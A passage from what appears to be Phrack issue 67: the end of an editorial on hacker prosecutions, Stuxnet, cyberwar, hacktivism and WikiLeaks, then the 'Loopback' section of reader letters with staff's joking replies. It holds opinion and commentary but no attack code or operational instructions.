If you mistakenly introduce an error into your codebase at work and it creates a security hole, can you prove it was not intentional? There really are no guarantees. An overly aggressive legal system will at the very least threaten to steal time, money, resources, and quite probably your reputation.

If you're very unlucky you might wind up in jail, or in trouble for something someone you know was involved in, in hopes that you will be the next hacker willing to daub in his (or her) mates to be set free, thus maintaining the cycle of narqing and providing an always‑revolving door of the Usual Suspects to lay blame to. That's not even including the Patriot Act and wiretaps (an issue pretty much deserving of its own article some other time).

The exposure of Google's Street View Wifi data gathering fiasco is likely only the tip of the iceberg ‑‑ what we were told was the accidental coding error of a single engineer (who probably will wear that virtual scarlet letter on his resume for life). And yet again, in that case, other countries were first to protest; only lately has there been a strange and questionable desire TO have those records retained ‑‑ for what purpose who only knows.

The question to wrap all of this up with, here, probably isn't "Does it affect you now?" (unless you are indeed a blackhat, in which case, no doubt, this will impact you tremendously). The question is "can you be sure it never will?"

‑‑[ 2. Stuxnet, Cyberwar, Hacktivism and Political Hacking

It's no secret that, with the US economy in a state of planned poverty, conventional sense. But the growing speculation, that Iran's nuclear power plant at Bushehr will turn into a weapons program, is a timely excuse for governments to exercise their newfound cyber warfare tactics. Iran believes Stuxnet was intended to derail its nuclear ambitions; and "analysts" expect us to believe that a string of numbers, the name of some shrubbery, futbol domains, and weird 2012 shit... somehow indicates Israel was behind it all. The reality is probably this: as much as Israel's super star hacking squads would love to take down Bushehr, Russia is standing in the way, defending its plan for a return on investment.

Stuxnet represents just one of a few big events in this arena since last issue. We've also had Aurora and that whole Google scandal in China. Hildawg has been bitching about China from the start, and it came as no surprise that pressure would be put to bear on big companies, like Google, to defame China's government in the midst of a GFC. More recently, Europe's cyberwar simulation has been hailed as a success, with countries across the EU learning to defend against over 300 attacks. This marks another milestone in the EU's attempt at coordinating intraregional cybercrime investigations. Across the Atlantic, USCYBERCOM has finally gone live. While governments prefer to keep their military hax a secret, there exists a necessity for them to demonstrate their power. Welcome to a whole new wave of terror, hackers.

The majority of high profile attacks in the last year show a trend towards highly skilled and targeted hacks that take a lot of time and/or money to develop. In these cases there is minimal collateral damage, months may pass before detection, the hackers are anonymous, and the vector is unique. While these are still large‑scale attacks, they're not intended to affect the entire internet ‑‑ just a select few major players, and sometimes only for a short while. As corporations and governments throw big bucks into cyber warfare we're going to start to see some of the big names in the IT industry get left behind.

The continued DDoS of Burma, in the lead‑up to its first election in over 20 years, showed a recent and unwelcome return to stupidity and ignorance at a rate of 10‑15gbps, easily dwarfing the Estonia DDoS of 2008. Amnesty International had been working hard to get radios into Burma, so that people could keep up with the election news from across the border. Days after the election, their Hong Kong website was compromised and visitors were attacked with an IE exploit that Microsoft knew about, but blatantly refused to patch early.

On the same day that the Burma DDoS began, the Iranian Cyber Army announced its "botnet for hire", though it is rather unlikely that there is a substantial link between the two. Their admin system is some kind of honeypot, their stats are fake, and surely the very idea should have screamed of an obvious trap. But as the news started to spread, bloggers began recycling news media, and slower reporters started relying on those bloggers, until we started coming across reports that ICA was renting out "the same botnets that took down Twitter and Baidu". Uh, sorry? Last time I checked, social engineering a dude at Register.com didn't require a botnet.

But hey, maybe there is a botnet, or at least one in development. It's hardly as though ICA are the first to do so. But their treatment by news media is ridiculous. I mean, if these guys really are an "army" then just where were they when Honker struck out in retaliation for Baidu's defacement earlier this year? Unfortunately the media still clings to them because of a handful of high profile defacements. And because they tend to pop up every time something big happens, some journalists actually think these kids are an officially sanctioned military force that reports to Ahmadinejad himself! I don't believe, for a second, that they're even Iranian to begin with.

On the related note of poor‑man's hacking, we're also seeing a rise in grassroots hacktivism. Social networking sites are making it increasingly easy to inspire angry mobs of ordinary computer users to take part in a DDoS by clicking a link. Years ago we laughed at those kinds of methods (remember the cDc's hacktivismo?). But we're not on dialup anymore, and there's not a lot you need to get your own "human‑net" started ‑‑ just a persuasive cause and a handful of idiot‑proof programs. LOIC is popular for this, as are websites that send GET requests in iframes over and over and over. Next thing you know, there's thousands upon thousands of stupid tweeters, staggering forth like something out of Resident Evil. This isn't even including the more normal botnets that use sites rely on Twitter for commands. Throw that into the mix and Twitter becomes some kind of pluralistic middle‑class pseudo‑political force to be reckoned with. Law enforcement seem to just give up in those cases. Too many people to chase. Not enough resources to prosecute them all. The most we see is the instigators of these human‑nets being hunted down. As the RIAA and MPAA attacks showed us, Anonymous ain't so anonymous when they plan their attacks in the open, in front of feds, on 4chan and Darknet.

The trend toward military‑directed cyber attacks is prompting some academics to call for a change to the laws that regulate the conduct of hostilities in war. They are questioning whether a country can remain neutral in a cyber war if the data carrying the attack travels along that country's pipelines. Some militaries insist that for hackers to qualify for "prisoner of war" status, these geeks must wear a special hacker uniform and carry a sidearm (I like to think this uniform would look like TRON Guy).

And then there's the question of whether something like Stuxnet can be a legal impetus for conventional war. The real beauty of Stuxnet isn't just in the code (as specialised and 0‑day as it may have been) ‑‑ it's also in the attack vector. If you conveniently lose your malicious USB key in a parking lot, and some "unscrupulous person" picks it up and decides to use it at work... YOU are not committing an attack ‑‑ at least not directly (one could argue, after all, that they had no business picking up the usb key in the first place). Moreover, philosophical arguments aside, if you're a civilian, the likelihood of you being charged with anything is extremely remote. Add all of this to the essential argument that hacking cannot be considered an act of war necessitating self‑defense unless the hack can be compared to a substantive and conventional military attack, and conventional arguments are essentially thrown out the window. In other words, in the case of Stuxnet, while Iran recognises there was espionage, and possibly an intentional attack, the worm was not an "armed attack" sufficient to qualify self‑defense under the UN Charter.

In sum, if the events occurring since the last issue has been anything to go by, the next decade will see a growing disparity between the nature of high‑profile hacks, but at the end of the day the bulk of it is the same old same old, with some new shit thrown in. Militaries are fast becoming a cyber‑force to be reckoned with, but in the absence of laws to regulate their actions, don't expect bombs to fall as a result. While it is most probably that the recent spate of uniquely targeted high‑profile attacks will go unpunished, what we can expect is the government to play an increasing role in regulating the Internet and hunting down ordinary hackers in the name of a "war on cyber terrorism".

‑‑[ 3. Wikileaks and whistleblowing

But what of Wikileaks? While it is undeniable that it has had some impact, one must ask oneself if we are not just raucously accepting as a date to the prom the only girl who asked us out and considering ourselves lucky to have found anyone at all. One could argue that when a society needs a hero, someone will always be willing to show up fighting, but the same could be said of most movements, even including the upstart 'Tea Party' being cawed about on Fox News to cheers by the same people who would have voted for Obama if they'd been Democrats instead of Republicans. Perhaps it's unfair to tilt this article so specifically in the direction of the US ‑‑ after all, Wikileaks has shed some light on some tremendously important stories in the three or four years since its inception ‑‑ but it's hard to argue that 2010 was the year that Wikileaks came to true nation‑wide attention, due in no small part to a certain "redacted" video going by the sobriquet "Collateral Damage", and then fueled by the document dumps ostensibly leaked by US insiders concerning Iraq and Afghanistan that came not long thereafter.

Yes, we have a responsibility to make information acceessible, or at least make the knowledge of how such information is stored and used more public, less draconian and redolent of a country poised to curtsy/bow to 'Mein Fuhrer' but we also have a responsibility to treat that information with respect, and more importantly to be able and willing to filter that data through the sieve of common sense and reason: Data should be valuable because it is valuable data (and in some cases the releases by Wikileaks have indeed been valuable data) and not valuable simply by the reasoning that "they don't want us to have it."

By the same token, sometimes the very act of sticking the proverbial middle finger up at The Man serves as a call to arms ‑‑ or at the very least a rate limiter: A way to urge the current Powers That Be to think a little more before trying to instituting even further privacy eroding measures. Conversely, it is all too easy for any country to consider any "leak" ‑‑ righteously whistleblowing or not ‑‑ as an act of war, or an excuse to add a few zeros to a department's line budget.

And there's something else we all need to be thinking about:

Every country, every war, every movement has secrets. We may tell ourselves that information wants to be free, but freedom comes with a price and some secrets are GOOD secrets. More importantly there OUGHT to be some secrets in the world.

To completely submit to Wikileaks' vision is almost more akin to Big Brother than anything the US government ‑‑ or any other government ‑‑ could possible create on its own: A culture where your every move may be exposed, your every thought may be tallied, your every minutiae published for the whole world to see, in a world where Google gambols giddily in the grasses of greed and Facebook and Twitter announce to the world your every move to a perceived audience of enthralled onlookers all willing to say 'you!' when you say 'ah, me!'. In a way we're already most of the way there, and that's a very dangerous thing. When your baseline gets reset and you don't REALIZE that your privacy is being invaded, then the great big "They" has already won ‑‑ and you have just let yourself do the dirty work for Them.

One could argue that if PFC Manning did indeed leak what has been attributed to him, he may have done a heroic thing, but the fact that he may have also broken a trust that he covenanted into in advance with the US government is difficult to completely discount. The Manning case having received the attention it has gotten this year has brought up a lot of grey areas in peoples' political belief systems, but it has also begged the question: What *is* "whistleblowing" and what is "disloyalty"? What is "patriotism" and what is "narqing"? When can one trust one's judgment about another person's true intentions and is it truly as cut‑and‑dry as we all wish it would be? Adrian Lamo snitched, but it is always possible that he thought he was protecting himself or his country even as he may have also been trying to cobble together some newfound publicity for a receding career that has been inarguably past its prime for years now. At some level this isn't about government or whistleblowing or privacy ‑‑ it's about society and about interpersonal trust, and perhaps that is where things get the murkiest. Naive or not, trust is dealt out increasingly to total strangers on the internet. One could argue that Manning, if indeed that was Manning, was naive in trusting a veritable stranger, but most of us do this on a regular basis now; the difference here is, Manning paid.

Without an explicit agreement of nondisclosure one cannot truly and totally scorn somebody for "squealing", but by the same token our very society has been built up on such simple and implicit bonds of trust: I will not hurt you, I will not steal from you, I will not betray you. I may not agree with what you do, but I respect your choices as an individual. At what point does that trust need to be broken off? Some secrets are good, if they contribute to the greater good of society ‑‑ and that goes *both* ways ‑‑ at times in favour of the individual, at other times in favour of government. As a species we always want to root for the Underdog (and nowhere is this more true than the US, perhaps), but given the fast fluxing nature of the Internet, who the Underdog is can flip at a second's notice: At first Wikileaks was the cause celebre of people everywhere, then came the backlash. All movements have backlashes, and Wikileaks was bound to not be the exception.

Perhaps one reason so many scorn Wikileaks has to do with the closed‑book nature of a site so overtly and devoutly espousing transparency; at some point it becomes difficult not to interpret all sides as playing with similar playbooks. But it's difficult to win at poker at a table where everybody knows your cards, especially when the rest of the players have bankrolls that far eclipse your own. Again, the question arises: When is transparency necessary, and when is secrecy a requirement to make any progress at all? On the one hand, one must worry about too much transparency; on the other hand, one must worry about too much lurking in the shadows. In the past we had journalists to expose corruption; now it is often journalists themselves fighting off corruption charges, hiding facts, skewing evidence.

It's incredibly difficult to deny that some transparency, and indeed Wikileaks itself, can have a positive impact ‑‑ and it's hard to imagine a world where SOME sunshine shouldn't be shed; The trick here is to remember that such increased levels of exposure demand we be a more responsible, measured animal ‑‑ something as homo sapiens we have really never learned how to do or be.

There is no way to shove the genie back into the bottle, and old rumours on the Internet never really die ‑‑ they just get archived til someone else manages to come along and dig them up from their temporary graves. This holds great promise for the future of integrity, but it also creates issues when the possibility of outright falsehoods are introduced, especially through an anonymous third party, or in cases where a split exists between haves and have‑nots; who really has time to monitor their reputation online to that level? And if someone does besmirch your name, what can be done?

If your data shows up on a whistleblower site care of a third party, then it also becomes yet another way to show a display of power: The Vice‑Presidential hopeful breaks the rules ‑‑ nay, the law ‑‑ and walks free while the college student who guesses at her password gets sentenced to a year of supervision or prison. If there is to be light shed, then it should be an equally penetrating (and perhaps softer) light ‑‑ not a light meant to shine in the victims' faces and hide the face of the perpetrators ‑‑ especially when the label of 'victim' and 'perpetrator' is so murky and grey (as in the Palin case; one could argue both sides committed some form of fault).

Julian Assange likes to say 'speak truth to power" but this is a tall order; to first be able to speak ANYTHING to power, you must basically gain the ear of the powerful, or you just get thrown

into an eddy, left to whirl around with a bunch of kooks and nutjobs (as any federal agent handling walk‑ins will likely attest to, and too, so must whistleblowing sites contend with; with fame

comes your own raft of nutjobs to weed out).

It'd be hard to deny that whatever else Wikileaks has accomplished in the past year, it has gotten someone's attention. Whether that will be a good thing or a bad thing remains to be seen... But one imagines any call to arms must bring about some force for good, even if that force is something as simple as a renewed spirit of vigour and willingness to be involved among an otherwise sluggish populace juggling its own sense of powerlessness in a country demanding what essentially constitutes sexual assault merely in order to board an airplane. To make an omelet you must first break some eggs; To create a change you must first gain the ear of not just power but the people itself ‑‑ and then you must charge them with the duty to act.

The true collateral damage may wind up being Manning himself, here; basically judged guilty already, his name forever stored, his acquaintances being hassled, his personal life bared open to the world, he serves as both an example of what to strive for and a cautionary tale for a new age. What the future holds for him remains to be seen, but with any luck he will receive a fair trial by a jury of his peers ‑‑ if any such people even exist.

Wikileaks may not be perfect ‑‑ in fact, it may be deeply flawed ‑‑ but for now it's probably all we're going to get. And we should probably be grateful for it ‑‑ but wary. Always wary. The danger of mixing the message up with the messenger is always great, and there is no real way for any whistleblowing site to always be 100% correct. Even governments have an incredible amount of difficulty verifying the veracity of any information or separating rumours from fact; to put this level of blind trust in a volunteer organization with no oversight is bound to be fraught with a whole host of issues we haven't seen the likes of yet... For instance, what happens when a non‑governmental entity views it as a potential source of information? Once any whistleblowing site gets information, it is out there; what is done is done; At this point, false flags and disinformation is also an issue; the possibility of tricking any whistleblower site to publish false information would destroy not only its credibility if found out but possibly be used to forward some governmental or non‑governmental party or agenda. Additionally, to believe everything that any organization says is as short‑sighted as believing everything your government tells you.

Ultimately your conscience will have to be your guide ‑‑ and likely no two consciences will ever completely agree, especially about anything as at‑times agit prop as Wikileaks can be, or as secretive as governments have always been.

‑‑[ 4. Scene Events: the Final Word

To be sure, many other events have taken place this past year and a half (the whitehat‑vs‑blackhat wars forever raging (cue zf05 and the never‑ending arguments about disclosure‑vs‑nondisclosure); the global emergence of a harsher, more organized form of cybercrime (and the many busts that resulted); etc, etc), but several basic themes emerge: There has been fraud ‑‑ but there has always been fraud. There have been invasions of privacy ‑‑ but there have always been invasions of privacy. There have be governments overstepping their bounds ‑‑ but there have always been governments overstepping their bounds. That doesn't make any of it acceptable, but it also doesn't make any of it new ‑‑ nor does it give any of us an excuse to pretend it has nothing to do with us (no matter where you reside or what flag you fly (or choose not to fly, whatever the case may be)). If anything, there has been an amplification of all of the above, but none of it is truly 'new'. Read past issues of Phrack: All of the above has existed in some form or another, just on a smaller scale. It's still existed.

Judging by the drive for wealth or fame or infamy displayed in so many of this year's stories, it bears mentioning that we cannot let a few key players make us forget how important it is to treat technology responsibly, reasonably ‑‑ to love it, to hack it, to, please, take risks, but to do so with heart

‑‑ with CONSCIENCE ‑‑.

In the end it all starts and ends with you.

[EOF]

Loopback (is back)

==Phrack Inc.==

Volume 0x0e, Issue 0x43, Phile #0x04 of 0x10

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ L O O P B A C K ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Phrack Staff ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hi there!

As you may have noticed, the Loopback tradition had been lost for years. The previous staff decided to remove it as it was a little bit hum... let's say 'teasing' ;>

Can you remember Duvel's remark on that fact?

A brief history of the Underground scene (p64):

‑‑‑

Take a look at the Phrack Loopback responses during the first 10 years to the recent ones. A much higher percentage of responses are along the lines of `you're an idiot, we at Phrack Staff are much smarter than you.`...

‑‑

Well good news folks, it's back. We chose to resuscitate it as: ‑ it's fun. YES IT IS (especially considering the fact that people were not aware of its coming back)

‑ we promise not to be too much of bitches (or so they hope) ;> ‑ we want YOU to share with the Underground. As such for the next issue you are very welcome to send us mails of all kind

‑ we are poor on philes for this issue (just kidding BTW, we're just elitist arrogant bastards)

We humbly apologize to all guys we never answered to neither by mail nor through this phile because we suck at filtering our spam (this could _absolutely_ not be a laziness issue, right?)

Time to find out who wanted to say hello.

‑‑ The Phrack Staff

|‑‑=[ 0x00 ‑ From India ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Subject: Re: Null Conference and Security Community

From: Prashant KV <bug@null.co.in>

Cc: Marketing <marketing@null.co.in>

[ Marketing? :> ]

Hi,

[ Hi Prashant ]

[...]

Null is a community of enthusiastic hackers and security professionals in India. It all started with a motive to promote advance security research in India.

Null has immensely contributed in nurturing young hackers and providing a platform to amateurs. Over the years, the Indian industry and several government organizations have benefited from the expertise of Null members. Be it creating awareness among Indian developers or defending Indian Infrastructure, Null members are everywhere.

As a part of continued efforts in creating awareness among our enthusiasts, Null conducts an annual conference in carnival city of Goa called Nullcon. Hackers, talks, workshops, party and booze invites you, 25‑26th feb 2011 Goa India.

[ Thanks to the Null members, we have an interesting paper on the Indian hacking scene. Kudos. Please have a look at their websites:

http://null.co.in / http://nullcon.net/cfp‑nullcon‑dwitiya (CFP)

]

Regards

Prashant

|‑‑=[ 0x01 ‑ Th1nkG33k ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Subject: Legion of Doom T

From: Ted Mosby

[ Hi Ted. Is Barney with you? ]

Is this shirt still available? I know it's from the early 90s, but I had one of these and I've always wanted to get another.

(For a limited time, the original is back!)

"LEGION OF DOOM ‑‑ INTERNET WORLD TOUR"

The front of this classic shirt displays "Legion of Doom Internet World Tour" as well as a sword and telephone intersecting the planet earth, skull‑and‑crossbones style. The back displays the words "Hacking for Jesus" as well as a substantial list of "tour‑stops" (Internet sites) and a quote from Aleister Crowley.

[ Dammit. We didn't even know it existed. Sorry bro, no clues on this one. ]

|‑‑=[ 0x02 ‑ Drug abuse is bad ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Subject: Binary is Hacked!!!

From: killerzerosones@null.net

555555555 55 5555 55 55555555 55555555 55 55

55 555 55 55 55 55 55 55 55 55 55 55

55 5555 55 55 55 55 55 55 55 55 55 55

55 555 55 55 55 55 55 55 55 55 55 55

555555555 55 55 55 55 55555555 55555555 555555

55 555 55 55 55 55 55 55 555 55

55 5555 55 55 55 55 55 55 55 55 55

55 555 55 55 55 55 55 55 55 555 55

555555555 55 55 5555 55 55 55 5555 55

55 555555555 55 55 55555555 55555555 55 55555 55555555 55555555 55 55 55 55 55 55 55 55 55 5555 55 55 55

55 55 55 55 55 55 55 55 55 555 55 55 55

55 55 55 55 55 55 55 55 55 55 55 55 55

55 555555555 55555555 55555555 55 555 55555555 55 55

55 55 55 55 55 55 55 55 55 55 55 55 55

55 55 55 55 55 55 55 55 55 555 55 55 55

55 55 55 55 55 55 55 55 55 5555 55 55 55

55 555555555 55 55 55 55 55555555 55 55555 55555555 555555555

Binary is setup as 0's and 1's and there are quite a few encodings that beat binary(machine language)...

256 128 64 32 16 8 4 2 1

0 = .

1 = .5 = 2 = 1

1 0 = 5

1 1 = 5.5 = 52 = 26 = 13

1 0 0 = 50 = 25

1 0 1 = 50.5 = 502 = 251

1 1 0 = 55

1 1 1 = 55.5 = 552 = 69

1 0 0 0 = 500 = 250 = 125

1 0 0 1 = 500.5 = 5002 = 2501

1 0 1 0 = 505

1 0 1 1 = 505.5 = 5052 = 2526

1 1 0 0 = 550 = 275

1 1 0 1 = 550.5 = 5502 = 2751

When .5 is replaced with 2 keep halving number until prime without turning number into a decimal for a faster encoding with the 0‑9 numeral system. So basically half all the numbers until the next half becomes a decimal I.e. being prime. This saves in space approximately 98 numerals per 100 places compared to machines language.

[ Same post was found on: http://mathfax.com/emraised‑to‑the‑infinite‑9craised‑to‑the‑infinte‑9

and

http://www.mymathforum.com/viewtopic.php?f=13&t=12988

You're crazy man :> Well this give us the hint that at least one guy is reading our drug‑related papers. ]

|‑‑=[ 0x03 ‑ Dating ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Subject: CFP 67 and staff

From: Larry

Hello,

Is there any place where I can talk to the staff, like it used to be in the past?

Is the old IRC still working?

[ Unfortunately it's not. But rumor says we may be found on other IRCs. If you know a guy who knows a guy who knows a guy then maybe... ]

Regards.

|‑‑=[ 0x04 ‑ Interesting thoughts ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Subject: ANTISPAM

From: Rachel Peek <rachelpeek@live.com>

[ We sent you a mail Rachel. Having no answers, we assumed we could publish it as it currently is. ]

Normally I would try to be convincing, but I'm not feeling it right now. The thing is, I recently wrote a sort of article on my personal opinions about the government. I don't really know if it's the kind of thing you're looking for, but I figured I would send it in anyway. Look down.

The thing with mental disorders is you never know if what you're feeling is real. You don't know if you've made it all up in your head, if you just added all this stress into your life for nothing. But it feels real. As real as anything can, and it's scary as shit. It raises the questions: Which part of the brain is in charge of sanity? Or the more often times more prominent insanity? What causes us to say the things we say? What tells us to hurt the ones we hurt? What compels us to take the actions we take? WHY DO WE DO THE THINGS WE DO? This question has yet to be answered after all of these years. I think it's because we're too busy telling each other what to do, and now our heads are lost up the parts of our asses where maps aren't allowed. I am living proof of this stupidity. I don't know where my thoughts come from. I just know they're there and continue to taunt me with their daily attendance. They will cause me to do things that will make others wonder. They will ask the inevitable question "Why?" I've just stopped answering. This is because my answer will never be good enough. I never seem to have the appropriate reasoning for my actions. For lack of a few better words, I just do shit. I do what I want. In today's society, this is a crime. In order to become a model citizen of the proud U.S.A., you must never, ever do what you want to do. You are to do what you are told and ask no questions. Not that it matters. You'll only be answered with bullshit about how it will benefit you in the end. Take your modern‑day education program for example. they provide you with a selection of subjects to choose from, all of which have been watered down by the government to shield our innocent eyes from our country's mistakes and the fact that the world is a shitty place thanks to our existence. This is not easily done though, so they must distract us with ridiculous extracurricular activities that will be of no use to us ever in our lives. And they know it. So while we're busy learning how not to break an unfertilized chicken ova with a sharpee face, they're watching us. They ask themselves,

"How will they react to this?"

"What will happen if we do that?"

They're searching for glitches, just like you would on a computer. You make one wrong move, you take the tiniest step out of line, and they'll immediately make an attempt to "correct" it. How dare you be your own person? How dare you make your own decisions? You must fit the mold, and if you don't, you better believe they're trying their damnedest to shove you into it. They want to catch us early you see. Before we realize how to think for ourselves. They tells us how to walk, stand, eat, sit, write, sing, THINK. And we eat the shit up. Why is this? Because if we don't, we are shunned. We are not like the others. We are alone. The "Man" depends on our loneliness. The homosapien hates to be alone, and they are aware of this. Most people will do anything to avoid it, including shutting off their brains to fit in. So you fall in line and you follow these rules. You might ask why they are there at all, but you will never be answered. You will simply be given an ultimatum. "To get a good job and be successful" Another way to put this would be, "Do exactly what you're ordered to or have a miserable life" But success is relevant...to some at least. Society's definition of success is money. You go to school to get a job to make money to spend money to run out and need it again. You get trapped in the cycle. Well what if your definition of success is happiness? You've most likely thought to yourself, "Oh shit" This is due to the fact that you now know you are living in a world you don't belong in. You are living in a world where happiness IS money, and no one will believe otherwise. And so you need money to get by. You have to delicately touch the filthy stuff. You have to carry it tenderly in your pocket, making sure it's in a safe place, meeting all of it's needs, caring for this shit with wasted love. And you get a job to acquire more. You get up every morning and you follow the speed limit up the road, and you buy your coffee that is made from beans picked by people who can't afford to taste it, and you walk into a building with big, clean windows and detailed columns cleverly placed to disguise the boredom that awaits you inside. You will sit. And you will sit. You will sit all day long in one of those swivel chairs that allow you to do your pointless work at a slightly quicker pace by cutting out all of that rigorous head turning. You do this because you want to get out of there as soon as possible. You want to go home and eat your feelings. You want to stare at that black box as it tells you you are ugly. You are stupid. You are fat. You are not good enough. You are not the best. Be the fucking best. But you can't be. You never will be. You don't have time. You're so busy following that same goddamn schedule every day you don't have a single second to breathe and it's cutting the circulation off to your brain. You can only think what you've been taught to think and you'll do so until you're on your deathbed trying to reflect on the life you led. Trying to remember something beautiful the way they do in the movies. But all you see are white button‑downs and digital clock numbers, glowing computer screens and stock numbers. you have wasted your life and you might as well be a cardboard cut‑out of yourself. It's a sad thing to die a human being.

[ Thanks for this Rachel. ]

|‑‑=[ 0x05 ‑ Translation proposal ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Subject: Translation of phrack magazine

From: Robert Langdon <langdonmail@gmail.com>

[ Audrey Tautou <3 ]

Hi Phrack staff,

I'm an italian university student of Computer Science. I read many article of your magazine and I'm vary interesting about your magazine.

In this days, I think if is possible to translate your articles (not all obviously) in italian language ... and I don't understand which is the distribution or publish license of yours article. The intent is to spread your knowledge to italian guys. Can I translate one or more article? Obviously, the translation is one‑to‑one, with the same references, the same authors and so on.

[ As stated many times we do not support officially translations of Phrack and that would be essentially because translations (even from talented people) are not accurate enough. However, you're free to translate any article. Good luck :) ]

Thanks for your great work.

SuperMrPlusPlus

[ I'm confused. I thought you were Robert Langdon. ]

|‑‑=[ 0x06 ‑ Alcohol abuse ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

From: Anonymous <nobody@remailer.paranoici.org>

Subject: The risks of alcohol and being drunken bastards

Drinking Alcohol and Cancer Risk www2.potsdam.edu/hansondj/HealthIssues/1109728149.html

Alcohol ‑ The Risks | Health | BBC World Service www.bbc.co.uk/worldservice/sci_tech/features/health/healthyliving/ alcoholrisk.shtml

Alcohol ‑ Risks

www.pamf.org/teen/risk/alcohol/risks.html

4.5 The risks of alcohol www.drugtext.org/library/books/raterisks/4.5.htm

Effects & risks of alcohol ‑ Schoolies Week schoolies.youthcentral.vic.gov.au/Safe+Partying/Alcohol/Effects+&+risks+of+ alcohol/

Underage Drinking‑Why Do Adolescents Drink, What Are the Risks ... pubs.niaaa.nih.gov/publications/aa67/aa67.htm

Young people and alcohol ‑ what are the risks? : Directgov ‑ Parents www.direct.gov.uk/en/Parents/Yourchildshealthandsafety/ Youngpeopleandalcohol/DG_183848

Drinking and alcohol ‑ Live Well ‑ NHS Choices www.nhs.uk/Livewell/alcohol/Pages/Alcoholhome.aspx

Alcohol and depression: What are the risks? ‑ MayoClinic.com www.mayoclinic.com/health/alcohol‑and‑depression/MY01078

Health risks associated with alcohol and heavy drinking www.drinking.nhs.uk/health‑risk/

The Risks of Developing a Drug or Alcohol Dependency www.egetgoing.com/drug_addiction/addiction_risk.asp

Alcohol ‑ Alcohol

www.alcohol.gov.au/

Alcohol Health Risks ‑ Alcohol & Other Drugs, The Wellness Center ... www.uncg.edu/shs/wellness/aod/alcoholhealth/

Teenage binge drinking, effects of alcohol, facts about alcohol at ... ncadi.samhsa.gov/govpubs/ph323/

Health Risks of Alcohol and Drug Abuse alcoholism.about.com/od/effect/u/Risks.htm

Health Risks In Alcohol Abuse ezinearticles.com/?Health‑Risks‑In‑Alcohol‑Abuse&id=301753

For Teens: Know the Risks of Alcohol | HealthSheets | Wellness ... www.mountnittany.org/wellness‑library/healthsheets/documents?ID=3684

Alcohol and Breast Cancer Risk: New Findings ‑ National Cancer ... www.cancer.gov/cancertopics/causes/breast/alcoholuse0408

Effects of Drinking Alcohol: Health Benefits vs. Risks www.webmd.com/cancer/features/faq‑alcohol‑and‑your‑health

Drinking alcohol\227Consumer Reports Health www.consumerreports.org/health/conditions‑and‑treatments/ the‑risks‑and‑benefits‑of‑drinking‑alcohol/overview/index.htm

‑‑‑‑

Getting drunken doesnt pown it is a fault of your own^^

Peace Phrack!

[ Fair enough ;> ]

|‑‑=[ 0x07 ‑ Insane delay ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Subject: a question <‑‑ Needs ANTISPAM in Subject! From: XXXXXXXXXXX

To: kleene@phrack.org, pwned@phrack.org <‑‑ Wrong address man!

Hi,

What's the real sake of this delay, working on scada systems to attack iran?

[ AHAH. Stuxnet developers if you ever read that, do not forget to submit a paper on SCADA hacking for p68. ]

|‑‑=[ 0x08 ‑ Friendly messages ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

From: Cristi T.

Subject: hey

hey phrack,

[ Hi. ]

don't die.. i hope u will deliver this issue.

[ Actually we're not dead. If we were then who would be writing this? ;) ]

Best wishes,

Cristi

[ Thx Cristi :) ]

‑‑

From: ZZZ

Subject:

Hi,

I noticed that you guys have a lot of followers who are neophytes to hacking. If you would like an article or two on the very basics of footprinting, scanning, enumeration, or hacking I might be able to do some for you guys. I am an IT professional and educator. At least if my content is or newbies, it will be well written. Just let me know.

[ Hi. Sorry man. Wrong e‑zine, consider asking Uninformed instead ;> ]

ZZZ

AKA W88ExitUS

Sent from my iPhone

[ When did the times changed that much? :( ]

‑‑

From: Christophe X

Subject: WTH ???

Hi guys,

I'm dying hoping to see the next number of phrack ... when would be the 67 birth. Seriously, i don't think i have the skill for proposing sexy materials, but i'm serious enough for proposing you help for collecting / guiding authors. Let me know if you need help for rereading article. I'm french linux trainer, phrack was always my best emag, can't support to wait for an annual release.

Best regards.

[ You're always welcome to motivate potential writers. That itself is really helping. Thx. ]

‑‑

From: rawhazard

Subject: ...bout issue #67

Hey men, just writing to know...what bout the issue #67? waiting for that since lots of time, u goin to "push the beast out"? or you won't no more? Lemme know, thanks

gw

[ Well as you can see, we did. ]

‑‑

From: f6174179c90c0366@gmx.com

Subject: ANTISPAM

Thank you for maintaining phrack.

[ You're very welcome bro. ]

|‑‑=[ 0x09 ‑ Busted??? ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

